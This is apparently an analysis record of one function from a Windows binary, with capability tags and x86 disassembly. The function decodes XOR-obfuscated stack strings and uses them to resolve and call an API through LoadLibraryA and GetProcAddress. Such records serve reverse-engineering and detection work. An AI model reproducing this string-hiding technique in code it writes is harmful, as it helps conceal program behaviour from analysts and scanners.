Function at 0x10037b40
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov al, byte [0x101980d4]
push ebx
push ebp
push esi
test al, 1
push edi
mov byte [esp + 0x14], 0x52
mov byte [esp + 0x15], 0xe8
mov byte [esp + 0x16], 0xc7
mov byte [esp + 0x17], 0xb0
mov byte [esp + 0x18], 0xc2
mov byte [esp + 0x19], 0x52
mov byte [esp + 0x1a], 0x49
mov byte [esp + 0x1b], 0x5c
mov byte [esp + 0x1c], 0x21
mov byte [esp + 0x1d], 0x65
mov byte [esp + 0x1e], 0x4f
mov byte [esp + 0x1f], 0xa3
mov byte [esp + 0x20], 0x39
mov byte [esp + 0x21], 0x8d
mov byte [esp + 0x22], 0xb5
mov byte [esp + 0x23], 0xde
mov byte [esp + 0x24], 0xa7
mov byte [esp + 0x25], 0x3e
mov byte [esp + 0x26], 0x7a
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x28], 0xf
mov byte [esp + 0x29], 1
mov byte [esp + 0x2a], 0x23
mov byte [esp + 0x2b], 0xcf
jne 0x10037c55
mov bl, al
push 0xd
or bl, 1
mov byte [0x101980d4], bl
call fcn.1013c2df
add esp, 4
mov dword [0x101980d8], eax
xor edi, edi
mov bl, byte [esp + edi + 0x20]
movsx eax, byte [esp + edi + 0x14]
movsx esi, bl
test esi, esi
jne 0x10037bfd
mov esi, 8
cdq
idiv esi
mov ecx, edx
test ecx, ecx
je 0x10037c28
mov eax, ecx
cdq
mov ebp, eax
mov eax, esi
xor ebp, edx
sub ebp, edx
cdq
xor eax, edx
sub eax, edx
cmp eax, ebp
jge 0x10037c1d
lea esi, [ebp + 0xc]
mov eax, ecx
cdq
idiv esi
mov ecx, eax
test ecx, ecx
jne 0x10037c1d
mov al, byte [esp + edi + 0x14]
xor bl, al
mov eax, dword [0x101980d8]
or bl, cl
mov byte [edi + eax], bl
inc edi
cmp edi, 0xc
jb 0x10037be8
mov ecx, dword [0x101980d8]
push 0x10037d90
mov byte [ecx + 0xc], 0
call fcn.1013c36b
add esp, 4
mov edx, dword [0x101980d8]
mov al, 0x7b
mov byte [esp + 0x23], al
mov byte [esp + 0x2a], al
mov al, byte [0x101980dc]
mov cl, 0x17
test al, 1
mov dword [esp + 0x10], edx
mov byte [esp + 0x14], 0x88
mov byte [esp + 0x15], 0xa8
mov byte [esp + 0x16], 0x74
mov byte [esp + 0x17], 0x37
mov byte [esp + 0x18], cl
mov byte [esp + 0x19], 0x45
mov byte [esp + 0x1a], 0xf0
mov byte [esp + 0x1b], 0x52
mov byte [esp + 0x1c], 0xa1
mov byte [esp + 0x1d], 0x62
mov byte [esp + 0x1e], 0x14
mov byte [esp + 0x1f], 0xe3
mov byte [esp + 0x20], 0xcf
mov byte [esp + 0x21], 0xcd
mov byte [esp + 0x22], 0
mov byte [esp + 0x24], 0x76
mov byte [esp + 0x25], 0x36
mov byte [esp + 0x26], 0x84
mov byte [esp + 0x27], cl
mov byte [esp + 0x28], 0xd3
mov byte [esp + 0x29], 0x10
mov byte [esp + 0x2b], 0x91
jne 0x10037d6d
mov bl, al
push 0xd
or bl, 1
mov byte [0x101980dc], bl
call fcn.1013c2df
add esp, 4
mov dword [0x101980e0], eax
xor edi, edi
mov bl, byte [esp + edi + 0x20]
movsx eax, byte [esp + edi + 0x14]
movsx esi, bl
test esi, esi
jne 0x10037d15
mov esi, 8
cdq
idiv esi
mov ecx, edx
test ecx, ecx
je 0x10037d40
mov eax, ecx
cdq
mov ebp, eax
mov eax, esi
xor ebp, edx
sub ebp, edx
cdq
xor eax, edx
sub eax, edx
cmp eax, ebp
jge 0x10037d35
lea esi, [ebp + 0xc]
mov eax, ecx
cdq
idiv esi
mov ecx, eax
test ecx, ecx
jne 0x10037d35
mov al, byte [esp + edi + 0x14]
xor bl, al
mov eax, dword [0x101980e0]
or bl, cl
mov byte [edi + eax], bl
inc edi
cmp edi, 0xc
jb 0x10037d00
mov ecx, dword [0x101980e0]
push 0x10037da0
mov byte [ecx + 0xc], 0
call fcn.1013c36b
add esp, 4
mov edx, dword [esp + 0x10]
mov esi, dword [0x101980e0]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret